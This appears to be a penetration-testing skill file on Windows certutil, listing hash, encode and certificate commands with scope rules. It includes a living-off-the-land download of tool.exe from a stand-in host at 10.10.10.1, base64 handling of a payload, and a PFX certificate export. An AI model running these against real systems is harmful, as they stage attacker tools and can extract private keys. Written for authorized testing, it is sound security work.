Certutil

Certutil

Purpose

Use this skill for tightly bounded Windows-native certificate, hashing, encoding, or approved transfer-path operations.

Phase Fit

• Primary: Vulnerability Analysis, Validation and Controlled Impact Demonstration
• Secondary: Retest and Closure

Use When

• Need to inspect certificate material or compute hashes.
• Need Windows-native encoding or limited transfer-path validation.
• Need a repeatable retest for a Windows-native staging path.

Avoid When

• Native transfer or staging checks are not explicitly approved.
• Host scope or operation type is unclear.

Inputs

• Approved host and file scope
• Explicit operation boundary such as hash, encode, or transfer test
• Evidence handling rules

Procedure

1. Limit the command set to the minimum operation needed.
2. Record exact files, hosts, and operation types used.
3. Validate only the approved path or transformation.
4. Stop once the hypothesis is answered.
5. Preserve the exact operation path for retest.

Command Syntax

Replace sample files with approved in-scope targets.

:: Compute a file hash
certutil.exe -hashfile C:\Windows\System32\ntdll.dll SHA256

:: Encode a file to Base64
certutil.exe -encode C:\temp\payload.exe C:\temp\payload.b64

:: Decode Base64 back to binary
certutil.exe -decode C:\temp\payload.b64 C:\temp\payload.exe

:: Download a file (living-off-the-land technique)
certutil.exe -urlcache -split -f http://10.10.10.1/tool.exe C:\Windows\Temp\tool.exe

:: Export a certificate from the Windows store
certutil.exe -exportPFX My <Thumbprint> C:\temp\cert.pfx

:: List certificates in the current user store
certutil.exe -store My

Evidence to Capture

• Whether the approved Windows-native path or operation worked
• Exact host, files, and command path used
• Minimal proof needed for remediation

Safety Boundaries

• Use only the specific operations approved for the engagement.
• Avoid broader staging or transfer behavior without explicit written approval.